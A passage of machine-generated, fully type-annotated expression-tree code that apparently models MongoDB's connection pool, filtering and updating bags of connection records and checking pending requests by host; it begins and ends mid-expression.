TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var434').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var434').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_next_refresh').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EMap(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var435').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var435').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), EUnaryOp('not', EBinOp(EUnaryOp('exists', EMap(EFilter(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EBinOp(EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 